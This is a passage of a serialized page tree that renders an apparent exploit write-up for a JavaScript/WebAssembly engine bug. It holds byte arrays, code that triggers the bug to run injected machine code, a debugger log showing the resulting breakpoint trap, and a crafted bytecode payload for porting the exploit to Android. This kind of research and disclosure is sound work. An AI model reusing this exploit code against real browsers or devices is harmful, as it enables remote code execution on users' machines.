"type":23,"tag":213,"props":135138,"children":135139},{"style":514},[135140],{"type":28,"value":4116},{"type":23,"tag":213,"props":135142,"children":135143},{"style":220},[135144],{"type":28,"value":424},{"type":23,"tag":213,"props":135146,"children":135147},{"style":514},[135148],{"type":28,"value":4116},{"type":23,"tag":213,"props":135150,"children":135151},{"style":220},[135152],{"type":28,"value":424},{"type":23,"tag":213,"props":135154,"children":135155},{"style":514},[135156],{"type":28,"value":4116},{"type":23,"tag":213,"props":135158,"children":135159},{"style":220},[135160],{"type":28,"value":424},{"type":23,"tag":213,"props":135162,"children":135163},{"style":514},[135164],{"type":28,"value":4116},{"type":23,"tag":213,"props":135166,"children":135167},{"style":220},[135168],{"type":28,"value":424},{"type":23,"tag":213,"props":135170,"children":135171},{"style":514},[135172],{"type":28,"value":4116},{"type":23,"tag":213,"props":135174,"children":135175},{"style":220},[135176],{"type":28,"value":424},{"type":23,"tag":213,"props":135178,"children":135179},{"style":514},[135180],{"type":28,"value":29479},{"type":23,"tag":213,"props":135182,"children":135183},{"style":220},[135184],{"type":28,"value":424},{"type":23,"tag":213,"props":135186,"children":135187},{"style":514},[135188],{"type":28,"value":4116},{"type":23,"tag":213,"props":135190,"children":135191},{"style":220},[135192],{"type":28,"value":424},{"type":23,"tag":213,"props":135194,"children":135195},{"style":514},[135196],{"type":28,"value":4116},{"type":23,"tag":213,"props":135198,"children":135199},{"style":220},[135200],{"type":28,"value":424},{"type":23,"tag":213,"props":135202,"children":135203},{"style":514},[135204],{"type":28,"value":4116},{"type":23,"tag":213,"props":135206,"children":135207},{"style":220},[135208],{"type":28,"value":424},{"type":23,"tag":213,"props":135210,"children":135211},{"style":514},[135212],{"type":28,"value":4116},{"type":23,"tag":213,"props":135214,"children":135215},{"style":220},[135216],{"type":28,"value":424},{"type":23,"tag":213,"props":135218,"children":135219},{"style":514},[135220],{"type":28,"value":4116},{"type":23,"tag":213,"props":135222,"children":135223},{"style":220},[135224],{"type":28,"value":424},{"type":23,"tag":213,"props":135226,"children":135227},{"style":514},[135228],{"type":28,"value":4116},{"type":23,"tag":213,"props":135230,"children":135231},{"style":220},[135232],{"type":28,"value":424},{"type":23,"tag":213,"props":135234,"children":135235},{"style":514},[135236],{"type":28,"value":4116},{"type":23,"tag":213,"props":135238,"children":135239},{"style":220},[135240],{"type":28,"value":424},{"type":23,"tag":213,"props":135242,"children":135243},{"style":514},[135244],{"type":28,"value":4116},{"type":23,"tag":213,"props":135246,"children":135247},{"style":220},[135248],{"type":28,"value":424},{"type":23,"tag":213,"props":135250,"children":135251},{"style":514},[135252],{"type":28,"value":4116},{"type":23,"tag":213,"props":135254,"children":135255},{"style":220},[135256],{"type":28,"value":424},{"type":23,"tag":213,"props":135258,"children":135259},{"style":514},[135260],{"type":28,"value":4116},{"type":23,"tag":213,"props":135262,"children":135263},{"style":220},[135264],{"type":28,"value":424},{"type":23,"tag":213,"props":135266,"children":135267},{"style":514},[135268],{"type":28,"value":4116},{"type":23,"tag":213,"props":135270,"children":135271},{"style":220},[135272],{"type":28,"value":424},{"type":23,"tag":213,"props":135274,"children":135275},{"style":514},[135276],{"type":28,"value":4116},{"type":23,"tag":213,"props":135278,"children":135279},{"style":220},[135280],{"type":28,"value":944},{"type":23,"tag":213,"props":135282,"children":135283},{"class":215,"line":1202},[135284,135288,135292,135296,135300,135304,135308,135312,135316,135320,135324,135328,135332,135336,135340,135344,135348,135352,135356,135360,135364,135368,135372,135376,135380,135384,135388,135392,135396,135400,135404,135408,135412,135417,135421,135425,135429,135434,135438,135443,135447,135452,135456,135460,135464,135469,135473,135477,135481,135486,135490,135494,135498,135503],{"type":23,"tag":213,"props":135285,"children":135286},{"style":514},[135287],{"type":28,"value":134249},{"type":23,"tag":213,"props":135289,"children":135290},{"style":220},[135291],{"type":28,"value":424},{"type":23,"tag":213,"props":135293,"children":135294},{"style":514},[135295],{"type":28,"value":4116},{"type":23,"tag":213,"props":135297,"children":135298},{"style":220},[135299],{"type":28,"value":424},{"type":23,"tag":213,"props":135301,"children":135302},{"style":514},[135303],{"type":28,"value":4116},{"type":23,"tag":213,"props":135305,"children":135306},{"style":220},[135307],{"type":28,"value":424},{"type":23,"tag":213,"props":135309,"children":135310},{"style":514},[135311],{"type":28,"value":4116},{"type":23,"tag":213,"props":135313,"children":135314},{"style":220},[135315],{"type":28,"value":424},{"type":23,"tag":213,"props":135317,"children":135318},{"style":514},[135319],{"type":28,"value":4116},{"type":23,"tag":213,"props":135321,"children":135322},{"style":220},[135323],{"type":28,"value":424},{"type":23,"tag":213,"props":135325,"children":135326},{"style":514},[135327],{"type":28,"value":4116},{"type":23,"tag":213,"props":135329,"children":135330},{"style":220},[135331],{"type":28,"value":424},{"type":23,"tag":213,"props":135333,"children":135334},{"style":514},[135335],{"type":28,"value":4116},{"type":23,"tag":213,"props":135337,"children":135338},{"style":220},[135339],{"type":28,"value":424},{"type":23,"tag":213,"props":135341,"children":135342},{"style":514},[135343],{"type":28,"value":4116},{"type":23,"tag":213,"props":135345,"children":135346},{"style":220},[135347],{"type":28,"value":424},{"type":23,"tag":213,"props":135349,"children":135350},{"style":514},[135351],{"type":28,"value":4116},{"type":23,"tag":213,"props":135353,"children":135354},{"style":220},[135355],{"type":28,"value":424},{"type":23,"tag":213,"props":135357,"children":135358},{"style":514},[135359],{"type":28,"value":4116},{"type":23,"tag":213,"props":135361,"children":135362},{"style":220},[135363],{"type":28,"value":424},{"type":23,"tag":213,"props":135365,"children":135366},{"style":514},[135367],{"type":28,"value":4116},{"type":23,"tag":213,"props":135369,"children":135370},{"style":220},[135371],{"type":28,"value":424},{"type":23,"tag":213,"props":135373,"children":135374},{"style":514},[135375],{"type":28,"value":4116},{"type":23,"tag":213,"props":135377,"children":135378},{"style":220},[135379],{"type":28,"value":424},{"type":23,"tag":213,"props":135381,"children":135382},{"style":514},[135383],{"type":28,"value":4116},{"type":23,"tag":213,"props":135385,"children":135386},{"style":220},[135387],{"type":28,"value":424},{"type":23,"tag":213,"props":135389,"children":135390},{"style":514},[135391],{"type":28,"value":4116},{"type":23,"tag":213,"props":135393,"children":135394},{"style":220},[135395],{"type":28,"value":424},{"type":23,"tag":213,"props":135397,"children":135398},{"style":514},[135399],{"type":28,"value":4116},{"type":23,"tag":213,"props":135401,"children":135402},{"style":220},[135403],{"type":28,"value":424},{"type":23,"tag":213,"props":135405,"children":135406},{"style":514},[135407],{"type":28,"value":3221},{"type":23,"tag":213,"props":135409,"children":135410},{"style":220},[135411],{"type":28,"value":424},{"type":23,"tag":213,"props":135413,"children":135414},{"style":514},[135415],{"type":28,"value":135416},"204",{"type":23,"tag":213,"props":135418,"children":135419},{"style":220},[135420],{"type":28,"value":424},{"type":23,"tag":213,"props":135422,"children":135423},{"style":514},[135424],{"type":28,"value":44828},{"type":23,"tag":213,"props":135426,"children":135427},{"style":220},[135428],{"type":28,"value":424},{"type":23,"tag":213,"props":135430,"children":135431},{"style":514},[135432],{"type":28,"value":135433},"137",{"type":23,"tag":213,"props":135435,"children":135436},{"style":220},[135437],{"type":28,"value":424},{"type":23,"tag":213,"props":135439,"children":135440},{"style":514},[135441],{"type":28,"value":135442},"229",{"type":23,"tag":213,"props":135444,"children":135445},{"style":220},[135446],{"type":28,"value":424},{"type":23,"tag":213,"props":135448,"children":135449},{"style":514},[135450],{"type":28,"value":135451},"106",{"type":23,"tag":213,"props":135453,"children":135454},{"style":220},[135455],{"type":28,"value":424},{"type":23,"tag":213,"props":135457,"children":135458},{"style":514},[135459],{"type":28,"value":4170},{"type":23,"tag":213,"props":135461,"children":135462},{"style":220},[135463],{"type":28,"value":424},{"type":23,"tag":213,"props":135465,"children":135466},{"style":514},[135467],{"type":28,"value":135468},"86",{"type":23,"tag":213,"props":135470,"children":135471},{"style":220},[135472],{"type":28,"value":424},{"type":23,"tag":213,"props":135474,"children":135475},{"style":514},[135476],{"type":28,"value":44828},{"type":23,"tag":213,"props":135478,"children":135479},{"style":220},[135480],{"type":28,"value":424},{"type":23,"tag":213,"props":135482,"children":135483},{"style":514},[135484],{"type":28,"value":135485},"139",{"type":23,"tag":213,"props":135487,"children":135488},{"style":220},[135489],{"type":28,"value":424},{"type":23,"tag":213,"props":135491,"children":135492},{"style":514},[135493],{"type":28,"value":135442},{"type":23,"tag":213,"props":135495,"children":135496},{"style":220},[135497],{"type":28,"value":424},{"type":23,"tag":213,"props":135499,"children":135500},{"style":514},[135501],{"type":28,"value":135502},"93",{"type":23,"tag":213,"props":135504,"children":135505},{"style":220},[135506],{"type":28,"value":944},{"type":23,"tag":213,"props":135508,"children":135509},{"class":215,"line":1758},[135510,135515,135519,135523,135527,135531,135535,135539,135543,135547,135551,135555,135559,135563,135567,135571,135575,135579,135583,135587,135591,135595,135599,135603,135607,135611,135615,135619,135623,135627,135631,135635,135639,135643,135647,135651,135655,135659,135663,135667,135671,135675,135679,135683,135687,135691,135695,135699,135703,135707,135711,135715,135719,135723,135727,135731,135735,135739,135743,135747],{"type":23,"tag":213,"props":135511,"children":135512},{"style":514},[135513],{"type":28,"value":135514}," 195",{"type":23,"tag":213,"props":135516,"children":135517},{"style":220},[135518],{"type":28,"value":424},{"type":23,"tag":213,"props":135520,"children":135521},{"style":514},[135522],{"type":28,"value":44356},{"type":23,"tag":213,"props":135524,"children":135525},{"style":220},[135526],{"type":28,"value":424},{"type":23,"tag":213,"props":135528,"children":135529},{"style":514},[135530],{"type":28,"value":59667},{"type":23,"tag":213,"props":135532,"children":135533},{"style":220},[135534],{"type":28,"value":424},{"type":23,"tag":213,"props":135536,"children":135537},{"style":514},[135538],{"type":28,"value":96720},{"type":23,"tag":213,"props":135540,"children":135541},{"style":220},[135542],{"type":28,"value":424},{"type":23,"tag":213,"props":135544,"children":135545},{"style":514},[135546],{"type":28,"value":4116},{"type":23,"tag":213,"props":135548,"children":135549},{"style":220},[135550],{"type":28,"value":424},{"type":23,"tag":213,"props":135552,"children":135553},{"style":514},[135554],{"type":28,"value":17578},{"type":23,"tag":213,"props":135556,"children":135557},{"style":220},[135558],{"type":28,"value":424},{"type":23,"tag":213,"props":135560,"children":135561},{"style":514},[135562],{"type":28,"value":4116},{"type":23,"tag":213,"props":135564,"children":135565},{"style":220},[135566],{"type":28,"value":424},{"type":23,"tag":213,"props":135568,"children":135569},{"style":514},[135570],{"type":28,"value":4116},{"type":23,"tag":213,"props":135572,"children":135573},{"style":220},[135574],{"type":28,"value":424},{"type":23,"tag":213,"props":135576,"children":135577},{"style":514},[135578],{"type":28,"value":4116},{"type":23,"tag":213,"props":135580,"children":135581},{"style":220},[135582],{"type":28,"value":424},{"type":23,"tag":213,"props":135584,"children":135585},{"style":514},[135586],{"type":28,"value":4116},{"type":23,"tag":213,"props":135588,"children":135589},{"style":220},[135590],{"type":28,"value":424},{"type":23,"tag":213,"props":135592,"children":135593},{"style":514},[135594],{"type":28,"value":4116},{"type":23,"tag":213,"props":135596,"children":135597},{"style":220},[135598],{"type":28,"value":424},{"type":23,"tag":213,"props":135600,"children":135601},{"style":514},[135602],{"type":28,"value":4116},{"type":23,"tag":213,"props":135604,"children":135605},{"style":220},[135606],{"type":28,"value":424},{"type":23,"tag":213,"props":135608,"children":135609},{"style":514},[135610],{"type":28,"value":4116},{"type":23,"tag":213,"props":135612,"children":135613},{"style":220},[135614],{"type":28,"value":424},{"type":23,"tag":213,"props":135616,"children":135617},{"style":514},[135618],{"type":28,"value":4116},{"type":23,"tag":213,"props":135620,"children":135621},{"style":220},[135622],{"type":28,"value":424},{"type":23,"tag":213,"props":135624,"children":135625},{"style":514},[135626],{"type":28,"value":17578},{"type":23,"tag":213,"props":135628,"children":135629},{"style":220},[135630],{"type":28,"value":424},{"type":23,"tag":213,"props":135632,"children":135633},{"style":514},[135634],{"type":28,"value":4116},{"type":23,"tag":213,"props":135636,"children":135637},{"style":220},[135638],{"type":28,"value":424},{"type":23,"tag":213,"props":135640,"children":135641},{"style":514},[135642],{"type":28,"value":4116},{"type":23,"tag":213,"props":135644,"children":135645},{"style":220},[135646],{"type":28,"value":424},{"type":23,"tag":213,"props":135648,"children":135649},{"style":514},[135650],{"type":28,"value":4116},{"type":23,"tag":213,"props":135652,"children":135653},{"style":220},[135654],{"type":28,"value":424},{"type":23,"tag":213,"props":135656,"children":135657},{"style":514},[135658],{"type":28,"value":4116},{"type":23,"tag":213,"props":135660,"children":135661},{"style":220},[135662],{"type":28,"value":424},{"type":23,"tag":213,"props":135664,"children":135665},{"style":514},[135666],{"type":28,"value":4116},{"type":23,"tag":213,"props":135668,"children":135669},{"style":220},[135670],{"type":28,"value":424},{"type":23,"tag":213,"props":135672,"children":135673},{"style":514},[135674],{"type":28,"value":4116},{"type":23,"tag":213,"props":135676,"children":135677},{"style":220},[135678],{"type":28,"value":424},{"type":23,"tag":213,"props":135680,"children":135681},{"style":514},[135682],{"type":28,"value":4116},{"type":23,"tag":213,"props":135684,"children":135685},{"style":220},[135686],{"type":28,"value":424},{"type":23,"tag":213,"props":135688,"children":135689},{"style":514},[135690],{"type":28,"value":4116},{"type":23,"tag":213,"props":135692,"children":135693},{"style":220},[135694],{"type":28,"value":424},{"type":23,"tag":213,"props":135696,"children":135697},{"style":514},[135698],{"type":28,"value":4116},{"type":23,"tag":213,"props":135700,"children":135701},{"style":220},[135702],{"type":28,"value":424},{"type":23,"tag":213,"props":135704,"children":135705},{"style":514},[135706],{"type":28,"value":4116},{"type":23,"tag":213,"props":135708,"children":135709},{"style":220},[135710],{"type":28,"value":424},{"type":23,"tag":213,"props":135712,"children":135713},{"style":514},[135714],{"type":28,"value":4116},{"type":23,"tag":213,"props":135716,"children":135717},{"style":220},[135718],{"type":28,"value":424},{"type":23,"tag":213,"props":135720,"children":135721},{"style":514},[135722],{"type":28,"value":4116},{"type":23,"tag":213,"props":135724,"children":135725},{"style":220},[135726],{"type":28,"value":424},{"type":23,"tag":213,"props":135728,"children":135729},{"style":514},[135730],{"type":28,"value":4116},{"type":23,"tag":213,"props":135732,"children":135733},{"style":220},[135734],{"type":28,"value":424},{"type":23,"tag":213,"props":135736,"children":135737},{"style":514},[135738],{"type":28,"value":4116},{"type":23,"tag":213,"props":135740,"children":135741},{"style":220},[135742],{"type":28,"value":424},{"type":23,"tag":213,"props":135744,"children":135745},{"style":514},[135746],{"type":28,"value":4116},{"type":23,"tag":213,"props":135748,"children":135749},{"style":220},[135750],{"type":28,"value":944},{"type":23,"tag":213,"props":135752,"children":135753},{"class":215,"line":1767},[135754,135758,135762,135766,135770,135774,135778,135782,135786,135790,135794,135798,135802,135806,135810,135814,135818,135822,135826,135830,135834,135838,135842,135846,135850,135854,135858,135862,135866,135870,135874,135878,135882,135886,135890,135894,135898,135902,135906,135910,135914,135918,135922,135926,135930,135934,135938,135942,135946,135950,135954,135959,135963,135967],{"type":23,"tag":213,"props":135755,"children":135756},{"style":514},[135757],{"type":28,"value":134249},{"type":23,"tag":213,"props":135759,"children":135760},{"style":220},[135761],{"type":28,"value":424},{"type":23,"tag":213,"props":135763,"children":135764},{"style":514},[135765],{"type":28,"value":4116},{"type":23,"tag":213,"props":135767,"children":135768},{"style":220},[135769],{"type":28,"value":424},{"type":23,"tag":213,"props":135771,"children":135772},{"style":514},[135773],{"type":28,"value":4116},{"type":23,"tag":213,"props":135775,"children":135776},{"style":220},[135777],{"type":28,"value":424},{"type":23,"tag":213,"props":135779,"children":135780},{"style":514},[135781],{"type":28,"value":4116},{"type":23,"tag":213,"props":135783,"children":135784},{"style":220},[135785],{"type":28,"value":424},{"type":23,"tag":213,"props":135787,"children":135788},{"style":514},[135789],{"type":28,"value":4116},{"type":23,"tag":213,"props":135791,"children":135792},{"style":220},[135793],{"type":28,"value":424},{"type":23,"tag":213,"props":135795,"children":135796},{"style":514},[135797],{"type":28,"value":4116},{"type":23,"tag":213,"props":135799,"children":135800},{"style":220},[135801],{"type":28,"value":424},{"type":23,"tag":213,"props":135803,"children":135804},{"style":514},[135805],{"type":28,"value":4116},{"type":23,"tag":213,"props":135807,"children":135808},{"style":220},[135809],{"type":28,"value":424},{"type":23,"tag":213,"props":135811,"children":135812},{"style":514},[135813],{"type":28,"value":4116},{"type":23,"tag":213,"props":135815,"children":135816},{"style":220},[135817],{"type":28,"value":424},{"type":23,"tag":213,"props":135819,"children":135820},{"style":514},[135821],{"type":28,"value":4116},{"type":23,"tag":213,"props":135823,"children":135824},{"style":220},[135825],{"type":28,"value":424},{"type":23,"tag":213,"props":135827,"children":135828},{"style":514},[135829],{"type":28,"value":4116},{"type":23,"tag":213,"props":135831,"children":135832},{"style":220},[135833],{"type":28,"value":424},{"type":23,"tag":213,"props":135835,"children":135836},{"style":514},[135837],{"type":28,"value":4116},{"type":23,"tag":213,"props":135839,"children":135840},{"style":220},[135841],{"type":28,"value":424},{"type":23,"tag":213,"props":135843,"children":135844},{"style":514},[135845],{"type":28,"value":4116},{"type":23,"tag":213,"props":135847,"children":135848},{"style":220},[135849],{"type":28,"value":424},{"type":23,"tag":213,"props":135851,"children":135852},{"style":514},[135853],{"type":28,"value":4116},{"type":23,"tag":213,"props":135855,"children":135856},{"style":220},[135857],{"type":28,"value":424},{"type":23,"tag":213,"props":135859,"children":135860},{"style":514},[135861],{"type":28,"value":4116},{"type":23,"tag":213,"props":135863,"children":135864},{"style":220},[135865],{"type":28,"value":424},{"type":23,"tag":213,"props":135867,"children":135868},{"style":514},[135869],{"type":28,"value":4116},{"type":23,"tag":213,"props":135871,"children":135872},{"style":220},[135873],{"type":28,"value":424},{"type":23,"tag":213,"props":135875,"children":135876},{"style":514},[135877],{"type":28,"value":4116},{"type":23,"tag":213,"props":135879,"children":135880},{"style":220},[135881],{"type":28,"value":424},{"type":23,"tag":213,"props":135883,"children":135884},{"style":514},[135885],{"type":28,"value":4116},{"type":23,"tag":213,"props":135887,"children":135888},{"style":220},[135889],{"type":28,"value":424},{"type":23,"tag":213,"props":135891,"children":135892},{"style":514},[135893],{"type":28,"value":4116},{"type":23,"tag":213,"props":135895,"children":135896},{"style":220},[135897],{"type":28,"value":424},{"type":23,"tag":213,"props":135899,"children":135900},{"style":514},[135901],{"type":28,"value":4116},{"type":23,"tag":213,"props":135903,"children":135904},{"style":220},[135905],{"type":28,"value":424},{"type":23,"tag":213,"props":135907,"children":135908},{"style":514},[135909],{"type":28,"value":4116},{"type":23,"tag":213,"props":135911,"children":135912},{"style":220},[135913],{"type":28,"value":424},{"type":23,"tag":213,"props":135915,"children":135916},{"style":514},[135917],{"type":28,"value":4116},{"type":23,"tag":213,"props":135919,"children":135920},{"style":220},[135921],{"type":28,"value":424},{"type":23,"tag":213,"props":135923,"children":135924},{"style":514},[135925],{"type":28,"value":4116},{"type":23,"tag":213,"props":135927,"children":135928},{"style":220},[135929],{"type":28,"value":424},{"type":23,"tag":213,"props":135931,"children":135932},{"style":514},[135933],{"type":28,"value":4116},{"type":23,"tag":213,"props":135935,"children":135936},{"style":220},[135937],{"type":28,"value":424},{"type":23,"tag":213,"props":135939,"children":135940},{"style":514},[135941],{"type":28,"value":29479},{"type":23,"tag":213,"props":135943,"children":135944},{"style":220},[135945],{"type":28,"value":424},{"type":23,"tag":213,"props":135947,"children":135948},{"style":514},[135949],{"type":28,"value":135502},{"type":23,"tag":213,"props":135951,"children":135952},{"style":220},[135953],{"type":28,"value":424},{"type":23,"tag":213,"props":135955,"children":135956},{"style":514},[135957],{"type":28,"value":135958},"198",{"type":23,"tag":213,"props":135960,"children":135961},{"style":220},[135962],{"type":28,"value":424},{"type":23,"tag":213,"props":135964,"children":135965},{"style":514},[135966],{"type":28,"value":4116},{"type":23,"tag":213,"props":135968,"children":135969},{"style":220},[135970],{"type":28,"value":944},{"type":23,"tag":213,"props":135972,"children":135973},{"class":215,"line":1789},[135974],{"type":23,"tag":213,"props":135975,"children":135976},{"style":220},[135977],{"type":28,"value":134536},{"type":23,"tag":213,"props":135979,"children":135980},{"class":215,"line":1812},[135981,135985,135990,135994,135999,136003,136007,136011,136015,136019,136023],{"type":23,"tag":213,"props":135982,"children":135983},{"style":230},[135984],{"type":28,"value":7943},{"type":23,"tag":213,"props":135986,"children":135987},{"style":268},[135988],{"type":28,"value":135989}," r",{"type":23,"tag":213,"props":135991,"children":135992},{"style":274},[135993],{"type":28,"value":511},{"type":23,"tag":213,"props":135995,"children":135996},{"style":257},[135997],{"type":28,"value":135998}," bug",{"type":23,"tag":213,"props":136000,"children":136001},{"style":220},[136002],{"type":28,"value":265},{"type":23,"tag":213,"props":136004,"children":136005},{"style":268},[136006],{"type":28,"value":133867},{"type":23,"tag":213,"props":136008,"children":136009},{"style":220},[136010],{"type":28,"value":424},{"type":23,"tag":213,"props":136012,"children":136013},{"style":268},[136014],{"type":28,"value":125195},{"type":23,"tag":213,"props":136016,"children":136017},{"style":220},[136018],{"type":28,"value":124},{"type":23,"tag":213,"props":136020,"children":136021},{"style":268},[136022],{"type":28,"value":125195},{"type":23,"tag":213,"props":136024,"children":136025},{"style":220},[136026],{"type":28,"value":2867},{"type":23,"tag":213,"props":136028,"children":136029},{"class":215,"line":1838},[136030,136035,136039,136043,136047,136051,136055,136059,136064,136068],{"type":23,"tag":213,"props":136031,"children":136032},{"style":268},[136033],{"type":28,"value":136034}," result",{"type":23,"tag":213,"props":136036,"children":136037},{"style":274},[136038],{"type":28,"value":511},{"type":23,"tag":213,"props":136040,"children":136041},{"style":220},[136042],{"type":28,"value":400},{"type":23,"tag":213,"props":136044,"children":136045},{"style":1362},[136046],{"type":28,"value":32972},{"type":23,"tag":213,"props":136048,"children":136049},{"style":268},[136050],{"type":28,"value":135989},{"type":23,"tag":213,"props":136052,"children":136053},{"style":220},[136054],{"type":28,"value":124},{"type":23,"tag":213,"props":136056,"children":136057},{"style":257},[136058],{"type":28,"value":57618},{"type":23,"tag":213,"props":136060,"children":136061},{"style":220},[136062],{"type":28,"value":136063},"()).",{"type":23,"tag":213,"props":136065,"children":136066},{"style":268},[136067],{"type":28,"value":39209},{"type":23,"tag":213,"props":136069,"children":136070},{"style":220},[136071],{"type":28,"value":313},{"type":23,"tag":213,"props":136073,"children":136074},{"class":215,"line":1851},[136075,136079,136084,136088,136092,136096,136100,136104,136108,136112],{"type":23,"tag":213,"props":136076,"children":136077},{"style":230},[136078],{"type":28,"value":36246},{"type":23,"tag":213,"props":136080,"children":136081},{"style":268},[136082],{"type":28,"value":136083}," wasm_instance",{"type":23,"tag":213,"props":136085,"children":136086},{"style":274},[136087],{"type":28,"value":511},{"type":23,"tag":213,"props":136089,"children":136090},{"style":230},[136091],{"type":28,"value":31989},{"type":23,"tag":213,"props":136093,"children":136094},{"style":268},[136095],{"type":28,"value":133850},{"type":23,"tag":213,"props":136097,"children":136098},{"style":220},[136099],{"type":28,"value":124},{"type":23,"tag":213,"props":136101,"children":136102},{"style":257},[136103],{"type":28,"value":133904},{"type":23,"tag":213,"props":136105,"children":136106},{"style":220},[136107],{"type":28,"value":265},{"type":23,"tag":213,"props":136109,"children":136110},{"style":268},[136111],{"type":28,"value":9168},{"type":23,"tag":213,"props":136113,"children":136114},{"style":220},[136115],{"type":28,"value":2867},{"type":23,"tag":213,"props":136117,"children":136118},{"class":215,"line":1864},[136119,136123,136127,136131,136135,136139,136143,136147,136151],{"type":23,"tag":213,"props":136120,"children":136121},{"style":230},[136122],{"type":28,"value":36246},{"type":23,"tag":213,"props":136124,"children":136125},{"style":268},[136126],{"type":28,"value":33027},{"type":23,"tag":213,"props":136128,"children":136129},{"style":274},[136130],{"type":28,"value":511},{"type":23,"tag":213,"props":136132,"children":136133},{"style":268},[136134],{"type":28,"value":136083},{"type":23,"tag":213,"props":136136,"children":136137},{"style":220},[136138],{"type":28,"value":124},{"type":23,"tag":213,"props":136140,"children":136141},{"style":268},[136142],{"type":28,"value":37944},{"type":23,"tag":213,"props":136144,"children":136145},{"style":220},[136146],{"type":28,"value":124},{"type":23,"tag":213,"props":136148,"children":136149},{"style":268},[136150],{"type":28,"value":133953},{"type":23,"tag":213,"props":136152,"children":136153},{"style":220},[136154],{"type":28,"value":313},{"type":23,"tag":213,"props":136156,"children":136157},{"class":215,"line":1890},[136158,136163],{"type":23,"tag":213,"props":136159,"children":136160},{"style":257},[136161],{"type":28,"value":136162}," f",{"type":23,"tag":213,"props":136164,"children":136165},{"style":220},[136166],{"type":28,"value":3759},{"type":23,"tag":213,"props":136168,"children":136169},{"class":215,"line":1899},[136170],{"type":23,"tag":213,"props":136171,"children":136172},{"style":220},[136173],{"type":28,"value":102038},{"type":23,"tag":24,"props":136175,"children":136176},{},[136177],{"type":28,"value":136178},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":202,"props":136180,"children":136182},{"code":136181},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[136183],{"type":23,"tag":209,"props":136184,"children":136185},{"__ignoreMap":7},[136186],{"type":28,"value":136181},{"type":23,"tag":9693,"props":136188,"children":136190},{"id":136189},"porting-to-android",[136191],{"type":28,"value":136192},"Porting to Android",{"type":23,"tag":24,"props":136194,"children":136195},{},[136196,136198,136203,136205,136210,136212,136217,136219,136225],{"type":28,"value":136197},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":209,"props":136199,"children":136201},{"className":136200},[],[136202],{"type":28,"value":132982},{"type":28,"value":136204}," fails. We cross-compiled ",{"type":23,"tag":209,"props":136206,"children":136208},{"className":136207},[],[136209],{"type":28,"value":132142},{"type":28,"value":136211}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":209,"props":136213,"children":136215},{"className":136214},[],[136216],{"type":28,"value":132982},{"type":28,"value":136218}," returned ",{"type":23,"tag":209,"props":136220,"children":136222},{"className":136221},[],[136223],{"type":28,"value":136224},"undefined",{"type":28,"value":124},{"type":23,"tag":24,"props":136227,"children":136228},{},[136229,136231,136236,136238,136243],{"type":28,"value":136230},"Instead, we modified the bytecode to call ",{"type":23,"tag":209,"props":136232,"children":136234},{"className":136233},[],[136235],{"type":28,"value":133008},{"type":28,"value":136237}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":23,"tag":209,"props":136239,"children":136241},{"className":136240},[],[136242],{"type":28,"value":132982},{"type":28,"value":124},{"type":23,"tag":202,"props":136245,"children":136247},{"code":136246,"language":35673,"meta":7,"className":35671,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[136248],{"type":23,"tag":209,"props":136249,"children":136250},{"__ignoreMap":7},[136251,136262,136306,136326,136342,136365,136392,136407],{"type":23,"tag":213,"props":136252,"children":136253},{"class":215,"line":216},[136254,136258],{"type":23,"tag":213,"props":136255,"children":136256},{"style":1362},[136257],{"type":28,"value":48383},{"type":23,"tag":213,"props":136259,"children":136260},{"style":220},[136261],{"type":28,"value":1375},{"type":23,"tag":213,"props":136263,"children":136264},{"class":215,"line":226},[136265,136269,136273,136277,136281,136285,136289,136294,136298,136302],{"type":23,"tag":213,"props":136266,"children":136267},{"style":268},[136268],{"type":28,"value":133249},{"type":23,"tag":213,"props":136270,"children":136271},{"style":220},[136272],{"type":28,"value":76671},{"type":23,"tag":213,"props":136274,"children":136275},{"style":246},[136276],{"type":28,"value":133258},{"type":23,"tag":213,"props":136278,"children":136279},{"style":220},[136280],{"type":28,"value":124},{"type":23,"tag":213,"props":136282,"children":136283},{"style":257},[136284],{"type":28,"value":133267},{"type":23,"tag":213,"props":136286,"children":136287},{"style":220},[136288],{"type":28,"value":265},{"type":23,"tag":213,"props":136290,"children":136291},{"style":514},[136292],{"type":28,"value":136293},"0x059301",{"type":23,"tag":213,"props":136295,"children":136296},{"style":274},[136297],{"type":28,"value":51308},{"type":23,"tag":213,"props":136299,"children":136300},{"style":514},[136301],{"type":28,"value":4618},{"type":23,"tag":213,"props":136303,"children":136304},{"style":220},[136305],{"type":28,"value":133289},{"type":23,"tag":213,"props":136307,"children":136308},{"class":215,"line":524},[136309,136313,136317,136322],{"type":23,"tag":213,"props":136310,"children":136311},{"style":268},[136312],{"type":28,"value":133297},{"type":23,"tag":213,"props":136314,"children":136315},{"style":274},[136316],{"type":28,"value":8989},{"type":23,"tag":213,"props":136318,"children":136319},{"style":514},[136320],{"type":28,"value":136321}," 0x03027a6c",{"type":23,"tag":213,"props":136323,"children":136324},{"style":220},[136325],{"type":28,"value":313},{"type":23,"tag":213,"props":136327,"children":136328},{"class":215,"line":533},[136329,136333,136338],{"type":23,"tag":213,"props":136330,"children":136331},{"style":1362},[136332],{"type":28,"value":35259},{"type":23,"tag":213,"props":136334,"children":136335},{"style":514},[136336],{"type":28,"value":136337}," 